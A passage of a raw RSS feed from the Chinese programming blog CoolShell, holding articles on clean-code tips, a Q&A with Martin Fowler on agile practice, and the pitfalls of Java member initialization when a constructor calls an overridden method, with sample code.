选择望文知意的直观的变量名和函数名</strong></p>\n<p>无论是变量名还是方法名，都不能太长或是太短。一个好的命名，应该是“自解释的”，直观的，望文知意的。通常来说，一个好的命名应该是知道这个变量/方法要干什么事情，比如GetComputerName()，isAdmin等等，对于变量名来说，通过其名字，我们可以知道这个变量的类型（整型，浮点，指针，……），种类（全局，成员，局部，静态，……）。关于命名的事情，可以查看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a>》查看更多的内容。</p>\n<p><strong>3 &#8211; 只写有意义的注释</strong></p>\n<p>代码写得好的话，是不需要注释的。与其花费大量的时候去写注释，还不如把这些时间花在代码重构上，简洁/易读的代码比详细的注释更有意义。另外，如果你需要使用你的注释来生成文档，那么也不需要太过复杂，这通常用来做API的文档，这个时候，关键不在于你是如何实现的，而是在于告诉别人完成什么样的事并如何使用之。总之，一句话，<strong>如果你的代码足够的简单和清楚，你是不需要写注释的</strong>。<br />\n<strong>4 &#8211; 让你的代码可读</strong></p>\n<p>你的代码并不只是让编译器去阅读的，你的代码更应该是让你的同事和其它人阅读的。所以，一定要遵守团队内部的那些最中规中矩的编程规范或代码风格，千万不要在代码中使你的小聪明或是偷懒或是hack代码，那样做的结果只会有两个，一个是你的代码会被后人骂得一无是处，另一个就是当你在以后维护你的代码时无异于搬起石头砸了自己的脚。编码坚持最基本的两个原则—— <a href=\"http://en.wikipedia.org/wiki/Keep_it_simple_stupid\"><span style=\"color: #5588aa;\">KISS</span></a> 和<a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\"><span style=\"color: #5588aa;\">DRY</span></a>，剩下的就是顺从于自然。</p>\n<p>（全文完）<a href=\"http://tiagofernandez.blogspot.com/2009/06/4-tips-for-clean-code.html\" target=\"_blank\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1095.html\">整洁代码的4个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1095.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>与Martin Fowler关于敏捷方法的问答</title>\n\t\t<link>https://coolshell.cn/articles/1113.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1113.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Sun, 05 Jul 2009 02:15:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[敏捷方法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1113</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2009年6月23日，Martin Fowler到公司访问，与我们开了一个小型座谈会并顺便拜访了他在ThoughtWorks的同事们。 以下是座谈的内容： 1、...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1113.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1113.html\">与Martin Fowler关于敏捷方法的问答</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2009年6月23日，Martin Fowler到公司访问，与我们开了一个小型座谈会并顺便拜访了他在ThoughtWorks的同事们。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1122\" title=\"MeetMartinFowlerSmall\" src=\"https://coolshell.cn/wp-content/uploads/2009/07/MeetMartinFowlerSmall.JPG\" alt=\"MeetMartinFowlerSmall\" width=\"480\" height=\"360\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/07/MeetMartinFowlerSmall.JPG 480w, https://coolshell.cn/wp-content/uploads/2009/07/MeetMartinFowlerSmall-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/07/MeetMartinFowlerSmall-360x270.jpg 360w\" sizes=\"(max-width: 480px) 100vw, 480px\" /></p>\n<p>以下是座谈的内容：</p>\n<p><span id=\"more-1113\"></span></p>\n<p><strong>1、如何在常规业务中应用敏捷方法？ </strong></p>\n<p>常规业务（Business As Usual）是指使公司业务正常运营而进行的一些日常业务活动，对于IT部门而言则包括系统维护、技术支持以及应用更改。这些工作相对于独立的软件项目而言即琐碎又零散，但又是不可或缺的。“如何在常规业务中应用敏捷方法？”，这是我们向Martin提出的第一个问题。Martin阐述道，首先需要澄清一下对项目的定义，传统的项目运作方式是集中一批业务人员、开发人员和管理人员进行产品开发，开发完成后将产品交付系统运行和支持部门，项目也就随之结束了。在敏捷方法中，项目是一个持续性的过程，系统随着业务的需要不断地更改和重构，参与项目的人员也相应地在不断地增加或者减少。笔者的理解是只要系统仍在支持业务运营，项目就不会结束，因为业务几乎不可能不变更，并且必要的重构也不可避免，对于ThoughtWorks的顾问们来说这意味着他们和客户的业务关系也不会结束，呵呵，双赢的策略！</p>\n<p><strong>2、集中式办公和分布式办公 </strong></p>\n<p>Martin强烈反对项目成员分散式办公，甚至觉得如果你需要业务人员每天到你的办公室来访问你，那简直是不可接受的，至少你应该每天都去拜访他们。“It is a shame if the business stakeholders need to come to your office every day”大意如此。但是现实却是，对于很多公司而言，将业务经理、项目经理、业务分析人员、开发人员和测试人员都集中在一个办公室简直就是一件不可能完成的任务。笔者目前所在的项目有三个团队，一个在悉尼，两个在墨尔本，每周进行四次远程视频会议，同时通过使用电话、即时消息系统、电子邮件、项目WiKi系统等手段来解决分布办公带来的沟通不及时和信息不透明等问题。Martin最后也不得不承认，很多时候如果实在不能够做到集中式办公，那只有准备好为此付出一定的成本。笔者认为要做到完全的集中式办公可能不太现实，不过可以尽可能在异地团队之间保持相关业务的对等沟通，比如在各个团队中都尽可能安排项目相关的各类角色，如：业务经理、项目经理、开发人员等，让这些人员与在异地的相同职能的人员沟通，然后再将信息在各自的团队内消化和共享，这样的效果也许会好于纯粹的按照职能来分布团队。</p>\n<p><strong>3、交叉技能（Cross Skills）</strong></p>\n<p>这里主要讲的是BA（Business Analyst 业务分析人员）和QA（Quality Assurance 质量保证人员或测试人员），Martin说在理想的情况下，BA和QA的角色可以合并，开发人员和QA的角色也可以互换。因为BA和QA都需要对系统功能有很清晰全面的了解，他们也是系统测试的主要参与者和鉴定者，他们用来定义系统功能的主要文档是用户故事（Story），而用来测试系统功能的则是功能测试代码，测试人员和开发人员有责任将功能测试代码写得易于阅读，特别是对于BA，如果他们能够象阅读用户故事一样阅读功能测试代码，将会提高他们测试系统的效率和兴趣。这也是在功能测试中使用领域特定语言（Domain Specific Language）的目的，如果BA和QA都能够阅读和使用DSL编写测试代码，那该多好啊！（憧憬中&#8230;） 通过让开发人员轮换地担任QA的角色，可以帮助提高测试代码的质量，也可以让开发人员真正从用户的角度来考虑系统功能的设计，还可以建立相互信任、相互尊重（appreciate each others work）的良好氛围。</p>\n<p><strong>4、设计和编码 </strong></p>\n<p>一位同事谈到对业务模型缺乏了解会导致代码难于理解，有时候即使代码的质量过关并且系统功能都在正常工作，但是系统的设计却和业务模型出现很大的偏差。“ 在实现设计之前，开发人员需要正确理解整个业务模型（The big picture）”，这是被经常提及的解决方法之一。Martin对此却不置可否，当然能够理解整个业务模型是最理想的情况，但是往往很少有人能够做到这一点，即便能够做到，业务模型也会随着时间和具体情况而变更。Martin首先认为设计和编码不是两个分离的过程，开发人员在设计过程中编码，也在编码过程中设计。开发人员在编码的过程中实现自己当前对业务模型的了解，首先让功能模块工作起来（Get it working），同时考虑如何让代码更便于日后的必要的重构，随着时间的推移，开发人员对业务模型的了解会不断清晰和全面，只要代码易于重构，整个系统的设计和实现将会不断地、最终地符合业务模型。</p>\n<p><strong>5、公司内部的开源项目，鼓励用户参与产品开发 </strong></p>\n<p>很多公司里不同的IT部门可能会重复开发相同功能的产品，这样会导致很大的资源浪费，用户也会面临选择的难题。再者，Martin发现很多IT部门对用户提出的功能需求缺乏足够快的响应速度，主要原因是开发人员资源有限，即使再玩命地工作也不可能在用户的预期时间内处理完本来就很长的功能需求队列。典型的例子是：公司有两个IT部门A和B，A部门需要B部门对邮政编码的Web Service做一个功能更改，而B部门的开发人员正忙于处理n个之前提交的功能需求，所以A部门的需求只能在队列中耐心等待直到B部门有开发人员空闲。如何缩短用户的等待时间？Martin建议如果A部门有开发人员熟悉Web Services，他可以从B部门的源代码库中提取邮政编码Web Service的代码，并且编码实现他需要的功能，完成之后生成代码包提交给B部门审核和测试，通过后就可以将代码合并到代码库中。这样做的优点是：1. 将功能需求由开发部门驱动转变为用户驱动，因为用户是真正了解并需要这个功能的人，所以用户会更为迫切地运用各种手段实现该功能，同时保证功能如其预期的那样运行。 2. 缩短开发周期，如果用户不愿意等待的话他可以立即着手开始功能的实现，而不必等待B部门的人员。3. 有利于公司内部的知识共享和交流，即便A部门的开发人员不熟悉Web Services但是愿意学习，B部门的开发人员可以通过结对编程（Pair Programming）的方法指导对方，待对方上手之后即可返回自己的工作，相对于B部门开发人员由始至终开发整个功能而言，这仍然可以大大缩短整个开发周期。当然，公司内部的开源策略需要一些前提，首先是部门之间应该有共同的知识领域，代码和文档需要版本控制的支持，部门人员能够理解和运用结对编程。</p>\n<p><strong>6、选择和运用框架 </strong></p>\n<p>“It is like you buying a new PC every 2 years” 当Martin被问道“这么多的应用框架层出不穷，我们该如何选择？”的时候如是回答。每几年我们都会换一台新电脑，是因为新的电脑内存更大，处理速度更快，应用软件也更复杂，要求的系统资源也更多。我们使用框架的目的也是解决业务相关的问题，只要是对业务有利的框架，都值得花一点时间去关注。 Martin鼓励公司允许开发人员占用一定的工作时间来实验新的框架，因为不这样如何能够知道它是否对提升业务价值有帮助。当然框架在生产环境（Production Environment）中的表现是衡量的一个重要标准，因为不经过生产环境中各种复杂情况的检验，很难最终确定框架是否适用。</p>\n<p><strong>（<strong>本文系作者原创，请勿用于商业用途</strong>，如转载请注明出自酷壳www.cocre.com）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" alt=\"为什么敏捷方法能在软件开发中行之有效？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_title\">为什么敏捷方法能在软件开发中行之有效？</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/194.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"Linux 相关的资源站makelinux.net\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/194.html\" class=\"wp_rp_title\">Linux 相关的资源站makelinux.net</a></li><li ><a href=\"https://coolshell.cn/articles/2086.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad-150x150.jpg\" alt=\"iPad进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2086.html\" class=\"wp_rp_title\">iPad进化图</a></li><li ><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join-150x150.png\" alt=\"图解SQL的Join\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_title\">图解SQL的Join</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1113.html\">与Martin Fowler关于敏捷方法的问答</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1113.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java构造时成员初始化的陷阱</title>\n\t\t<link>https://coolshell.cn/articles/1106.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1106.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Jul 2009 06:31:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1106</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>让我们先来看两个类：Base和Derived类。注意其中的whenAmISet成员变量，和方法preProcess() public class Base { ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1106.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1106.html\">Java构造时成员初始化的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>让我们先来看两个类：Base和Derived类。注意其中的whenAmISet成员变量，和方法preProcess()</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Base\n{\n    Base() {\n        preProcess();\n    }\n\n    void preProcess() {}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Derived extends Base\n{\n    public String whenAmISet = &quot;set when declared&quot;;\n\n    @Override void preProcess()\n    {\n        whenAmISet = &quot;set in preProcess()&quot;;\n    }\n}\n</pre>\n<p>如果我们构造一个子类实例，那么，whenAmISet 的值会是什么呢？</p>\n<p><span id=\"more-1106\"></span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Main\n{\n    public static void main(String[] args)\n    {\n        Derived d = new Derived();\n        System.out.println( d.whenAmISet );\n    }\n}\n</pre>\n<p>再续继往下阅读之前，请先给自己一些时间想一下上面的这段程序的输出是什么？是的，这看起来的确相当简单，甚至不需要编译和运行上面的代码，我们也应该知道其答案，那么，你觉得你知道答案吗？你确定你的答案正确吗？</p>\n<p>很多人都会觉得那段程序的输出应该是“set in preProcess()”，这是因为当子类Derived 的构造函数被调用时，其会隐晦地调用其基类Base的构造函数（通过super()函数），于是基类Base的构造函数会调用preProcess() 函数，因为这个类的实例是Derived的，而且在子类Derived中对这个函数使用了override关键字，所以，实际上调用到的是：Derived.preProcess()，而这个方法设置了whenAmISet 成员变量的值为：“set in preProcess()”。</p>\n<p>当然，上面的结论是错误的。如果你编译并运行这个程序，你会发现，程序实际输出的是“set when declared ”。怎么为这样呢？难道是基类Base 的preProcess() 方法被调用啦？也不是！你可以在基类的preProcess中输出点什么看看，你会发现程序运行时，Base.preProcess()并没有被调用到（不然这对于Java所有的应用程序将会是一个极具灾难性的Bug）。</p>\n<p>虽然上面的结论是错误的，但推导过程是合理的，只是不完整，下面是整个运行的流程：</p>\n<ol>\n<li>进入Derived 构造函数。</li>\n<li>Derived 成员变量的内存被分配。</li>\n<li>Base 构造函数被隐含调用。</li>\n<li>Base 构造函数调用preProcess()。</li>\n<li>Derived 的preProcess 设置whenAmISet 值为 “set in preProcess()”。</li>\n<li>Derived 的成员变量初始化被调用。</li>\n<li>执行Derived 构造函数体。</li>\n</ol>\n<p>等一等，这怎么可能？在第6步，Derived 成员的初始化居然在 preProcess() 调用之后？是的，正是这样，我们不能让成员变量的声明和初始化变成一个原子操作，虽然在Java中我们可以把其写在一起，让其看上去像是声明和初始化一体。但这只是假象，<strong><span style=\"color: #800000;\">我们的错误就在于我们把Java中的声明和初始化看成了一体</span></strong>。<strong>在C++的世界中，C++并不支持成员变量在声明的时候进行初始化，其需要你在构造函数中显式的初始化其成员变量的值，看起来很土，但其实C++用心良苦。</strong></p>\n<p>在面向对象的世界中，因为程序以对象的形式出现，导致了我们对程序执行的顺序雾里看花。所以，<strong>在面向对象的世界中，程序执行的顺序相当的重要</strong>。</p>\n<p>下面是对上面各个步骤的逐条解释。</p>\n<ol>\n<li>进入构造函数。</li>\n<li>为成员变量分配内存。</li>\n<li>除非你显式地调用super()，否则Java 会在子类的构造函数最前面偷偷地插入super() 。</li>\n<li>调用父类构造函数。</li>\n<li>调用preProcess，因为被子类override，所以调用的是子类的。</li>\n<li>于是，初始化发生在了preProcess()之后。这是因为，Java需要保证父类的初始化早于子类的成员初始化，否则，在子类中使用父类的成员变量就会出现问题。</li>\n<li>正式执行子类的构造函数（当然这是一个空函数，虽然我们没有声明）。</li>\n</ol>\n<p>你可以查看《Java语言的规格说明书》中的 <a href=\"http://java.sun.com/docs/books/jls/third_edition/html/execution.html#12.5\">相关章节</a> 来了解更多的Java创建对象时的细节。</p>\n<p>C++的程序员应该都知道，在C++的世界中在“构造函数中调用虚函数”是不行的，Effective C++ 条款9：Never call virtual functions during construction or destruction，Scott Meyers已经解释得很详细了。</p>\n<p>在语言设计的时候，“<strong>在构造函数中调用虚函数</strong>”是个两难的问题。</p>\n<ol>\n<li>如果调用的是父类的函数的话，这个有点违反虚函数的定义。</li>\n<li>如果调用的是子类的函数的话，这可能产生问题的：因为在构造子类对象的时候，首先调用父类的构造函数，而这时候如果去调用子类的函数，由于子类还没有构造完成，子类的成员尚未初始化，这么做显然是不安全的。</li>\n</ol>\n<p>C++选择了第一种，而Java选择了第二种。</p>\n<ul>\n<li>C++类的设计相对比较简陋，通过虚函数表来实现，缺少类的元信息。</li>\n<li>而Java类的则显得比较完整，有super指针来导航到父类。</li>\n</ul>\n<p>最后，需要向大家推荐一本书，Joshua Bloch 和 Neal Gafter 写的 <a href=\"http://www.amazon.com/gp/product/032133678X?ie=UTF8&amp;tag=billthelizard-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=032133678X\">Java Puzzlers: Traps, Pitfalls, and Corner Cases</a>，中文版《<a href=\"http://www.china-pub.com/28310&amp;ref=ps\" target=\"_blank\"><span>JAVA</span>解惑</a>》。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1106.html\">Java构造时成员初始化的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1106.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>漫画：程序员的一生</title>\n\t\t<link>https://coolshell.cn/articles/1103.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1103.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 30 Jun 2009 08:57:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1103</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>  （转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章聊聊团队协同和协同工具“一把梭：REST AP...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1103.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1103.html\">漫画：程序员的一生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-1102\" title=\"programmer-life\" src=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg\" alt=\"programmer-life\" width=\"584\" height=\"550\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg 584w, https://coolshell.cn/wp-content/uploads/2009/06/programmer-life-300x283.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/06/programmer-life-287x270.jpg 287w\" sizes=\"(max-width: 584px) 100vw, 584px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div 